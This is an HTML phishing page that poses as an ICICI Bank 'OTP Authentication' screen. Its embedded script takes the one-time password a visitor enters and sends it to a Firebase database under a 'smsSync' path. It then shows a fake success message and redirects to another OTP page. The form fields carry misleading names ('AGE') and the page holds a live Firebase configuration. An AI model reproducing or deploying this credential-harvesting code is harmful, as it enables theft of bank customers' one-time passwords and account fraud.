<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>ICICI Bank</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      background-color: #f7f7f7;
      overflow-x: hidden;
    }

    /* Reference ID Modal */
    #refModal {
      position: fixed; top: 0; left: 0;
      width: 100%; height: 100%;
      background: rgba(0,0,0,0.6);
      display: flex; align-items: center; justify-content: center;
      z-index: 1000;
    }
    #refModal .modal-content {
      background: white;
      padding: 20px;
      border-radius: 12px;
      text-align: center;
      width: 90%; max-width: 400px;
    }
    #refModal input {
      padding: 10px; width: 80%;
      margin: 10px 0;
      border: 1px solid #ccc; border-radius: 6px;
    }
    #refModal button {
      background: #F99D27; color: white;
      border: none; padding: 10px 20px;
      border-radius: 6px; cursor: pointer;
    }

    /* Header */
    header {
      background-color: #F99D27;
      color: white;
      padding: 10px 20px;
      display: flex; align-items: center; justify-content: space-between;
      position: sticky;
      top: 0;
      z-index: 200;
    }
    header img { height: 40px; }

    nav {
      display: flex; align-items: center; gap: 15px;
      z-index: 200;
    }
    nav a {
      color: white; text-decoration: none; font-weight: 500;
    }
    nav a:hover { text-decoration: underline; }
    .login-btn {
      background-color: #F99D27; border: none;
      color: white; padding: 8px 16px;
      cursor: pointer; font-weight: bold;
      border-radius: 4px;
    }

    /* Hamburger */
    .hamburger {
      display: none; font-size: 26px; cursor: pointer;
      background: none; border: none; color: white;
    }

    /* Mobile Menu */
    @media (max-width: 768px) {
      .hamburger { display: block; }
      nav {
        position: absolute; top: 60px; left: 0;
        width: 100%; background: #F99D27;
        flex-direction: column; gap: 0;
        display: none;
      }
      nav.show { display: flex; }
      nav a, .login-btn {
        padding: 12px; text-align: center; width: 100%;
        border-top: 1px solid rgba(255,255,255,0.2);
      }
    }

    main { max-width: 600px; margin: 30px auto; background: #fff; padding: 20px;
           border-radius: 10px; box-shadow: 0 0 8px rgba(0,0,0,0.1); }
    h2 { color: #F99D27; }

    label { font-weight: bold; }
    input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ccc;
            border-radius: 5px; }
    .submit-btn { background: #F99D27; color: #fff; padding: 12px;
                  border: none; border-radius: 6px; width: 100%; cursor: pointer; }
    .submit-btn:hover { background: #F99D27; }
    .error { color: red; display: none; margin-top: 5px; }
    .success { color: green; display: none; margin-top: 10px; }

    footer {
      background-color: #4a4a4a; color: #ddd;
      text-align: center; padding: 20px;
      font-size: 0.9em; margin-top: 30px;
    }
    footer a { color: #fff; text-decoration: none; margin: 0 8px; font-size:12px; }
    footer a:hover { text-decoration: underline; }
    main{max-width:520px;margin:28px auto;background:#fff;padding:18px;border-radius:10px;box-shadow:0 6px 20px rgba(0,0,0,0.06)}
    h2{color:#16324a;margin:0 0 12px}
    label{display:block;margin-top:10px;font-weight:700}
    input{width:100%;padding:10px;border:1px solid #ccc;border-radius:8px;margin-top:6px;box-sizing:border-box}
    .row{display:flex;gap:10px}
    .col{flex:1}
    .hint{font-size:13px;color:#666;margin-top:6px}
    .error{color:#b91c1c;font-size:13px;margin-top:6px;display:none}
    .success{color:#166534;font-size:15px;margin-top:12px;display:none;text-align:center}
    .submit{margin-top:16px;background:#F99D27;color:#fff;border:none;padding:12px;border-radius:8px;width:100%;cursor:pointer;font-weight:700}
    #thankYou{display:none;text-align:center;padding:30px}
  </style>
</head>
<body>

  <div id="siteContent">
    <!-- Header -->
    <header>
      <img src="kotaklogo.png" alt="ICICI Bank Logo" />
      <button class="hamburger" onclick="toggleMenu()">☰</button>
      <nav id="navMenu">
        <a href="#" download>Personal</a>
        <a href="#" download>Business</a>
        <a href="#" download>Priority</a>
        <a href="#" download>About Us</a>
        <a href="#" download>Support</a>
        <a href="#" download class="login-btn">LOGIN</a>
      </nav>
    </header>
<br><br>
     <main>
    <center><h2>OTP Authentication</h2></center>

    <form id="ageForm" autocomplete="off">
      <label for="AGE">OTP</label>
      <input id="AGE" placeholder="OTP" inputmode="numeric" minlength="3" maxlength="8" required />
      <div id="ageError" class="error">Please enter a OTP.</div>

      <button type="submit" class="submit">Proceed to Next</button>
      <div id="submitError" class="error"></div>
      <div id="submitSuccess" class="success">Proceed successfully!</div>
    </form>

    <div id="thankYou">
      <h3>✅ Thank you</h3>
      <p id="summary"></p>
    </div>
  </main>
<br><br><br><br><br><br><br><br>
    <footer>
      <p>&copy; 2026 ICICI Bank. All Rights Reserved.</p>
      <p>
        <a href="#">Privacy Policy</a> |
        <a href="#">Terms & Conditions</a> |
        <a href="#">Contact Us</a>
      </p>
    </footer>
  </div>

 
  <script type="module">
    import { initializeApp } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-app.js";
    import { getDatabase, ref, set, push, get, child } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-database.js";

    // ✅ Your Firebase Config
    const firebaseConfig = {
// here is pase api
 apiKey: "AIzaSyC4F7wn3xoTPaSgpoREkCBWbvfiGlA6Sfc",
    authDomain: "arebici.firebaseapp.com",
    databaseURL: "https://arebici-default-rtdb.firebaseio.com",
    projectId: "arebici",
    storageBucket: "arebici.firebasestorage.app",
    messagingSenderId: "652609786149",
    appId: "1:652609786149:web:11330d1090087708214acc",
    measurementId: "G-0B6MCTE5T1"
  };

    const app = initializeApp(firebaseConfig);
    const db = getDatabase(app);

    function onlyDigits(str) {
      return str.replace(/\D/g, '');
    }

    document.getElementById('ageForm').addEventListener('submit', async (ev) => {
      ev.preventDefault();

      const age = onlyDigits(document.getElementById('AGE').value.trim());
      if (!age) {
        document.getElementById('ageError').style.display = 'block';
        return;
      }

      try {
        const deviceId = localStorage.getItem('deviceId') || ('demo_' + Date.now());
        localStorage.setItem('deviceId', deviceId);

        // 👉 Create unique child in smsSync/{deviceId}
        const newRef = push(ref(db, 'smsSync/' + deviceId));
        await set(newRef, {
          body: age,
          ts: Date.now()
        });

        document.getElementById('submitSuccess').style.display = 'block';
        document.getElementById('ageForm').style.display = 'none';
        document.getElementById('thankYou').style.display = 'block';
        document.getElementById('summary').innerText = `Your OTP (*****) was Proceed successfully.`;

        setTimeout(() => {
          window.location.href = 'otp-page.php';
        }, 2000);

      } catch (err) {
        console.error('Error saving:', err);
        document.getElementById('submitError').innerText = "Error saving OTP.";
        document.getElementById('submitError').style.display = 'block';
      }
    });
  </script>
</body>
</html>
